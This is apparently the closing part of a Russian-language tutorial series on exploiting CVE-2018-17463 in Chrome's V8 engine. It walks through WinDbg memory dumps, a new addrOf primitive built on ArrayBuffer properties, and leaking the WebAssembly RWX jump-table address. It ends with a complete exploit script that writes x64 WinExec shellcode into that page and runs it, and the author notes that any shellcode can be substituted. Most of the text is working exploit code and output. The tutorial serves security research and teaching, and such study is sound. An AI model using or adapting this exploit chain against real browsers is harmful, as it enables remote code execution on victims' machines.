Для определения места хранения этого адреса в WasmInstanceObject можно использовать команду !address WinDbg, отображающую информацию о памяти, используемой процессом d8. Так как мы знаем, что адрес jump_table_start имеет разрешения RWX, можно отфильтровать вывод адреса по константе защиты PAGE_EXECUTE_READWRITE, чтобы поискать недавно созданные RWX-области памяти.

В результате получим следующий вывод.

0:004> !address -f:PAGE_EXECUTE_READWRITE

        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
--------------------------------------------------------------------------------------------------------------------------
      55`6c400000       55`6c410000        0`00010000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [I....lU...A....D]

Похоже, в данном случае записью таблицы переходов для RWX-области памяти будет адрес 0x556C400000. Давайте убедимся, что в нашем WasmInstanceObject действительно хранится этот указатель, изучив содержимое памяти адреса объекта wasmInstace в WinDbg.

0:004> dq 0000032B465226A9-1 L22
0000032b`465226a8  000002d1`cc30ae51 000000bc`a7c82cf1
0000032b`465226b8  000000bc`a7c82cf1 00000135`bd78e159
0000032b`465226c8  00000135`bd78e341 0000032b`465039f9
0000032b`465226d8  0000032b`465227a9 000000bc`a7c825a1
0000032b`465226e8  000000bc`a7c825a1 000000bc`a7c825a1
0000032b`465226f8  000000bc`a7c825a1 000000bc`a7c82cf1
0000032b`46522708  000000bc`a7c82cf1 000000bc`a7c825a1
0000032b`46522718  00000135`bd78e2d1 000000bc`a7c825a1
0000032b`46522728  000000bc`a7c825a1 000000bc`a7c822a1
0000032b`46522738  00000097`8399dba1 00000273`516a0000
0000032b`46522748  00000000`00010000 00000000`0000ffff
0000032b`46522758  00000272`d08d45f8 00000272`d08dc6c8
0000032b`46522768  00000272`d08dc6b8 00000272`d08c73d0
0000032b`46522778  00000000`00000000 00000272`d08c7410
0000032b`46522788  00000000`00000000 00000000`00000000
0000032b`46522798  00000055`6c400000 000000bc`00000000
0000032b`465227a8  000002d1`cc30b851 000000bc`a7c82cf1

Проанализировав вывод, мы видим, что запись указателя таблицы переходов на RWX-страницу памяти и в самом деле хранится в объекте wasmInstance по адресу 0x32b46522798!

Далее мы можем выполнить небольшие шестнадцатеричные вычисления, чтобы найти смещение до RWX-страницы от базового адреса WasmInstanceObject минус 1 (из-за маркировки указателей).

0x798 – (0x6A9-0x1) = 0xF0 (240)

Мы выяснили, что смещение таблицы переходов составляет 240 байтов, или 0xF0, от базового адреса объекта экземпляра. Поэтому мы можем изменить скрипт эксплойта, добавив показанный выше пример кода на WebAssembly, а затем попытавшись выполнить утечку RWX-адреса записи таблицы переходов!

Однако у нас есть небольшая проблема. К сожалению, мы больше не можем использовать примитив addrOf для утечки адреса объекта. Причина заключается в том, что примитив addrOf использует баг, перезаписывая пересекающиеся свойства. По сути, это разрушит наш примитив чтения/записи памяти, созданный на основе буферов массива, что приведёт к записи в неправильные области памяти и потенциальным сбоям.

В данном случае нам нужно использовать наш примитив чтения/записи памяти на основе буферов массива для утечки адреса объекта. Взяв уже имеющееся у нас, мы можем создать ещё один примитив addrOf на основе буферов массива, сделав следующее:

  1. добавив ко второму буферу массива внешнее свойство;
  2. выполнив утечку адреса хранилища второго буфера массива;
  3. использовав примитив памяти read64 для считывания адреса объекта по смещению 16 в хранилище свойств.

Прежде чем мы это реализуем, давайте посмотрим, как это выглядит в памяти, чтобы убедиться, что всё сработает. Начнём с создания нового буфера массива под названием arrBuf1, а затем создадим случайный объект.

d8> let arrBuf1 = new ArrayBuffer(1024);
d8> let obj = {x:1}

Далее зададим новое внешнее свойство для arrBuf1 с именем leakme и зададим в качестве его значения наш объект.

d8> arrBuf1.leakme = obj;

Запустив команду %DebugPrint для arrBuf1, мы увидим, что теперь в хранилище данных свойств есть новое внешнее свойство.

d8> %DebugPrint(arrBuf1)
DebugPrint: 000003B88950D8B9: [JSArrayBuffer]
 - map: 0x02fd7d78c251 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x01d6b8c90b21 <Object map = 000002FD7D7843C1>
 - elements: 0x03bfa9d82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 00000181293E0780
 - byte_length: 1024
 - neuterable
 - properties: 0x03b88950fe29 <PropertyArray[3]> {
    #leakme: 0x03b88950f951 <Object map = 000002FD7D78C201> (data field 0) properties[0]
 }
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

Как мы видим, адрес obj равен 0x03b88950f951, как и в хранилище свойств. Если мы взглянем на хранилище свойств arrBuf1 при помощи WinDbg, то увидим, что по смещению 16 в хранилище свойств находится адрес нашего объекта!

0:005> dq 0x03b88950fe29-1 L6
000003b8`8950fe28  000003bf`a9d83899 00000003`00000000
000003b8`8950fe38  000003b8`8950f951 000003bf`a9d825a1
000003b8`8950fe48  000003bf`a9d825a1 000002fd`7d784fa1

Отлично. Мы убедились, что это работает. В таком случае давайте реализуем новую функцию addrOf для нашего примитива чтения/записи памяти:

let memory = {
  addrOf(obj) {
    // Задаём адресу объекта значение нового внешнего свойства leakme
    arrBuf2.leakMe = obj;
    // Используем примитив read64 для выполнения утечки адреса хранилища свойств буфера массива
    let props = this.read64(arrBuf2Addr + 8n) - 1n;
    // Считываем смещение 16 от хранилища буфера массива и возвращаем адрес нашего объекта
    return this.read64(props + 16n) - 1n;
  }
};

Реализовав это, мы можем изменить скрипт эксплойта, добавив в него новый примитив addrOf и код на WebAssembly. Далее мы можем попытаться выполнить утечку адреса wasmInstance и RWX-страницы таблицы переходов экземпляра.

Дополненный скрипт будет выглядеть так:

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Создаём буферы массива
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Выполняем утечку адреса arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address: 0x${arrBuf2Addr.toString(16)}`);

// Повреждаем указатель хранилища arrBuf1 с адресом arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store Address...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2Addr);

// Сохраняем исходный указатель хранилища arrBuf2
let view1 = new BigUint64Array(arrBuf1)
let originalArrBuf2BackingStore = view1[4]

// Создаём примитив чтения и записи памяти
let memory = {
  read64(addr) {
    view1[4] = addr;
    let view2 = new BigUint64Array(arrBuf2);
    return view2[0];
  },
  write64(addr, ptr) {
    view1[4] = addr;
    let view2 = new BigUint64Array(arrBuf2);
    view2[0] = ptr;
  },
  addrOf(obj) {
    arrBuf2.leakMe = obj;
    let props = this.read64(arrBuf2Addr + 8n) - 1n;
    return this.read64(props + 16n) - 1n;
  }
};
print("[+] Constructed Memory Read and Write Primitive!");

// Генерируем RWX-область при помощи WASM
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

// Выполняем утечку адреса WasmInstance
let wasmInstanceAddr = memory.addrOf(wasmInstance);
print(`[+] WASM Instance Address: 0x${wasmInstanceAddr.toString(16)}`);
// Утечка
let wasmRWXAddr = memory.read64(wasmInstanceAddr + 0xF0n);
print(`[+] WASM RWX Page Address: 0x${wasmRWXAddr.toString(16)}`);

Исполнив новый скрипт в d8, мы получим следующий вывод

[+] Finding Overlapping Properties...
[+] Properties p6 and p18 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x37779c8db50
[+] Corrupting ArrayBuffer Backing Store Address...
[+] Constructed Memory Read and Write Primitive!
[+] WASM Instance Address: 0x2998447e580
[+] WASM RWX Page Address: 0x47f9400000

Похоже, нам успешно удалось выполнить утечку адреса wasmInstance, а также указателя jump_table_start.

Чтобы убедиться, что утёкшие адреса действительны, можно воспользоваться WinDbg для изучения адреса wasmInstance с целью проверки структуры объекта и того, что по смещению 240 на самом деле находится адрес таблицы переходов.

0:000> dq 0x2998447e580 L22
00000299`8447e580  000002da`4608ae51 0000005a`4e802cf1
00000299`8447e590  0000005a`4e802cf1 00000191`5d8d03d1
00000299`8447e5a0  00000191`5d8d05b9 000000ea`a9d839f9
00000299`8447e5b0  00000299`8447e681 0000005a`4e8025a1
00000299`8447e5c0  0000005a`4e8025a1 0000005a`4e8025a1
00000299`8447e5d0  0000005a`4e8025a1 0000005a`4e802cf1
00000299`8447e5e0  0000005a`4e802cf1 0000005a`4e8025a1
00000299`8447e5f0  00000191`5d8d0549 0000005a`4e8025a1
00000299`8447e600  0000005a`4e8025a1 0000005a`4e8022a1
00000299`8447e610  0000009a`1229dba1 000001fd`60c00000
00000299`8447e620  00000000`00010000 00000000`0000ffff
00000299`8447e630  000001fc`dff063c8 000001fc`dff0e498
00000299`8447e640  000001fc`dff0e488 000001fc`e0a00b50
00000299`8447e650  00000000`00000000 000001fc`e0a02720
00000299`8447e660  00000000`00000000 00000000`00000000
00000299`8447e670  00000047`f9400000 0000005a`00000000
00000299`8447e680  000002da`4608b851 0000005a`4e802cf1

Изучив память, мы убеждаемся, что успешно выполнили утечку действительных адресов, поскольку 000002998447e670 содержит указатель на первую запись таблицы переходов.

Отлично, мы приближаемся к завершению! Теперь, когда у нас есть действительный адрес таблицы переходов, указывающий на RWX-страницу памяти, нам осталось записать в эту область памяти шеллкод, а затем запустить функцию WebAssembly для исполнения кода.

В этом посте я использую шеллкод Null-Free WinExec PopCalc, который при успешном исполнении просто запускает приложение калькулятора. Разумеется, в своём скрипте вы можете реализовать любой другой шеллкод!

Так как в нашим коде на WebAssembly используется Uint8Array, нам нужно обернуть наш шеллкод в представление массива того же типа. Ниже показан пример того, как выглядит шеллкод pop calc в нашем скрипте.

// Подготовка шеллкода калькулятора
let shellcode = new Uint8Array([0x48,0x31,0xff,0x48,0xf7,0xe7,0x65,0x48,0x8b,0x58,0x60,0x48,0x8b,0x5b,0x18,0x48,0x8b,0x5b,0x20,0x48,0x8b,0x1b,0x48,0x8b,0x1b,0x48,0x8b,0x5b,0x20,0x49,0x89,0xd8,0x8b,0x5b,0x3c,0x4c,0x01,0xc3,0x48,0x31,0xc9,0x66,0x81,0xc1,0xff,0x88,0x48,0xc1,0xe9,0x08,0x8b,0x14,0x0b,0x4c,0x01,0xc2,0x4d,0x31,0xd2,0x44,0x8b,0x52,0x1c,0x4d,0x01,0xc2,0x4d,0x31,0xdb,0x44,0x8b,0x5a,0x20,0x4d,0x01,0xc3,0x4d,0x31,0xe4,0x44,0x8b,0x62,0x24,0x4d,0x01,0xc4,0xeb,0x32,0x5b,0x59,0x48,0x31,0xc0,0x48,0x89,0xe2,0x51,0x48,0x8b,0x0c,0x24,0x48,0x31,0xff,0x41,0x8b,0x3c,0x83,0x4c,0x01,0xc7,0x48,0x89,0xd6,0xf3,0xa6,0x74,0x05,0x48,0xff,0xc0,0xeb,0xe6,0x59,0x66,0x41,0x8b,0x04,0x44,0x41,0x8b,0x04,0x82,0x4c,0x01,0xc0,0x53,0xc3,0x48,0x31,0xc9,0x80,0xc1,0x07,0x48,0xb8,0x0f,0xa8,0x96,0x91,0xba,0x87,0x9a,0x9c,0x48,0xf7,0xd0,0x48,0xc1,0xe8,0x08,0x50,0x51,0xe8,0xb0,0xff,0xff,0xff,0x49,0x89,0xc6,0x48,0x31,0xc9,0x48,0xf7,0xe1,0x50,0x48,0xb8,0x9c,0x9e,0x93,0x9c,0xd1,0x9a,0x87,0x9a,0x48,0xf7,0xd0,0x50,0x48,0x89,0xe1,0x48,0xff,0xc2,0x48,0x83,0xec,0x20,0x41,0xff,0xd6]);

Подготовив шеллкод, мы должны добавить новый примитив памяти write при помощи буферов массива, поскольку текущая функция write64 записывает данные только при помощи представления BigUint64Array.

Для этого примитива write мы можем снова использовать код write64, но с двумя небольшими изменениями. Во-первых, нам нужно сделать view2 Uint8Array, а не BigUint64Array. Во-вторых, для записи полного шеллкода через нашу view мы будем вызывать функцию set. Это позволяет нам хранить множество значений в буфере массива, а не просто использовать индекс, как раньше.

Новый примитив памяти write будет выглядеть так:

let memory = {
  write(addr, bytes) {
    view1[4] = addr;
    let view2 = new Uint8Array(arrBuf2);
    view2.set(bytes);
  }
};

После этого нам остаётся лишь обновить скрипт эксплойта, добавив туда новый примитив write и шеллкод, записав его по утёкшему адресу таблицы переходов. Далее мы вызовем функцию WebAssembly для исполнения нашего шеллкода!

Готовый обновлённый скрипт эксплойта будет выглядеть так:

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Создаём буферы массива
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Выполняем утечку адреса arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address @ 0x${arrBuf2Addr.toString(16)}`);

// Повреждаем указатель хранилища arrBuf1 адресом arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2Addr);

// Сохраняем исходный указатель хранилища arrBuf2
let view1 = new BigUint64Array(arrBuf1)
let originalArrBuf2BackingStore = view1[4]

// Создаём примитивы памяти при помощи буферов массива
let memory = {
  write(addr, bytes) {
    view1[4] = addr;
    let view2 = new Uint8Array(arrBuf2);
    view2.set(bytes);
  },
  read64(addr) {
    view1[4] = addr;
    let view2 = new BigUint64Array(arrBuf2);
    return view2[0];
  },
  write64(addr, ptr) {
    view1[4] = addr;
    let view2 = new BigUint64Array(arrBuf2);
    view2[0] = ptr;
  },
  addrOf(obj) {
    arrBuf2.leakMe = obj;
    let props = this.read64(arrBuf2Addr + 8n) - 1n;
    return this.read64(props + 16n) - 1n;
  }
};

print("[+] Constructed Memory Read and Write Primitive!");

print("[+] Generating a WebAssembly Instance...");

// Генерируем RWX-область для шеллкода при помощи WASM
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

// Выполняем утечку адреса экземпляра и указателя начала таблицы переходов
print("[+] Leaking WebAssembly Instance Address...");
let wasmInstanceAddr = memory.addrOf(wasmInstance);
print(`[+] WebAssembly Instance Address @ 0x${wasmInstanceAddr.toString(16)}`);
let wasmRWXAddr = memory.read64(wasmInstanceAddr + 0xF0n);
print(`[+] WebAssembly RWX Jump Table Address @ 0x${wasmRWXAddr.toString(16)}`);

print("[+] Preparing Shellcode...");
// Подготавливаем шеллкод калькулятора
let shellcode = new Uint8Array([0x48,0x31,0xff,0x48,0xf7,0xe7,0x65,0x48,0x8b,0x58,0x60,0x48,0x8b,0x5b,0x18,0x48,0x8b,0x5b,0x20,0x48,0x8b,0x1b,0x48,0x8b,0x1b,0x48,0x8b,0x5b,0x20,0x49,0x89,0xd8,0x8b,0x5b,0x3c,0x4c,0x01,0xc3,0x48,0x31,0xc9,0x66,0x81,0xc1,0xff,0x88,0x48,0xc1,0xe9,0x08,0x8b,0x14,0x0b,0x4c,0x01,0xc2,0x4d,0x31,0xd2,0x44,0x8b,0x52,0x1c,0x4d,0x01,0xc2,0x4d,0x31,0xdb,0x44,0x8b,0x5a,0x20,0x4d,0x01,0xc3,0x4d,0x31,0xe4,0x44,0x8b,0x62,0x24,0x4d,0x01,0xc4,0xeb,0x32,0x5b,0x59,0x48,0x31,0xc0,0x48,0x89,0xe2,0x51,0x48,0x8b,0x0c,0x24,0x48,0x31,0xff,0x41,0x8b,0x3c,0x83,0x4c,0x01,0xc7,0x48,0x89,0xd6,0xf3,0xa6,0x74,0x05,0x48,0xff,0xc0,0xeb,0xe6,0x59,0x66,0x41,0x8b,0x04,0x44,0x41,0x8b,0x04,0x82,0x4c,0x01,0xc0,0x53,0xc3,0x48,0x31,0xc9,0x80,0xc1,0x07,0x48,0xb8,0x0f,0xa8,0x96,0x91,0xba,0x87,0x9a,0x9c,0x48,0xf7,0xd0,0x48,0xc1,0xe8,0x08,0x50,0x51,0xe8,0xb0,0xff,0xff,0xff,0x49,0x89,0xc6,0x48,0x31,0xc9,0x48,0xf7,0xe1,0x50,0x48,0xb8,0x9c,0x9e,0x93,0x9c,0xd1,0x9a,0x87,0x9a,0x48,0xf7,0xd0,0x50,0x48,0x89,0xe1,0x48,0xff,0xc2,0x48,0x83,0xec,0x20,0x41,0xff,0xd6]);

print("[+] Writing Shellcode to Jump Table Address...");
// Записываем шеллкод в адрес начала таблицы переходов
memory.write(wasmRWXAddr, shellcode);

// Исполняем шеллкод
print("[+] Popping Calc...");
func();

Настало время запустить эксплойт! Если всё пройдёт так, как запланировано, после вызова функции WebAssembly она должна исполнить наш шеллкод и запустить калькулятор!

Итак, момент истины. Давайте проверим нашего вредоноса в действии!


Вот и всё! Наш скрипт эксплойта работает, и мы можем успешно исполнять шеллкод!

В заключение


Мы добились своего! Потратив три месяца на изучение внутреннего устройства Chrome и V8, мы смогли успешно проанализировать и использовать CVE-2018-17463! Это серьёзное достижение, ведь эксплойтинг Chrome — сложная задача.

В процессе чтения серии статей мы создали прочный фундамент знаний, подготовивший нас к работе с более сложными задачами эксплойтинга Chrome. В конце концов, мы смогли успешно проанализировать и использовать реальную уязвимость Chrome, продемонстрировав практическое применение изученных концепций.

В целом, эта серия статей была написана, чтобы глубоко и подробно познакомить читателей с миром эксплойтинга Chrome, и надеюсь, для вас она была информативной и полезной. Пусть вне зависимости от того, опытный ли вы исследователь безопасности или новичок, из серии статей вы извлекли важные сведения и знания.

Искренне хочу поблагодарить за то, что были со мной до конца и за ваш интерес к этой теме!

Интересующиеся могут посмотреть готовый код эксплойта для этого проекта, который был добавлен в репозиторий CVE-2018-17463 в моём Github.

Благодарности


Хочу от всей души поблагодарить V3ded за вычитку этого поста на предмет точности и читаемости! Спасибо!

Ссылки


Комментарии (0)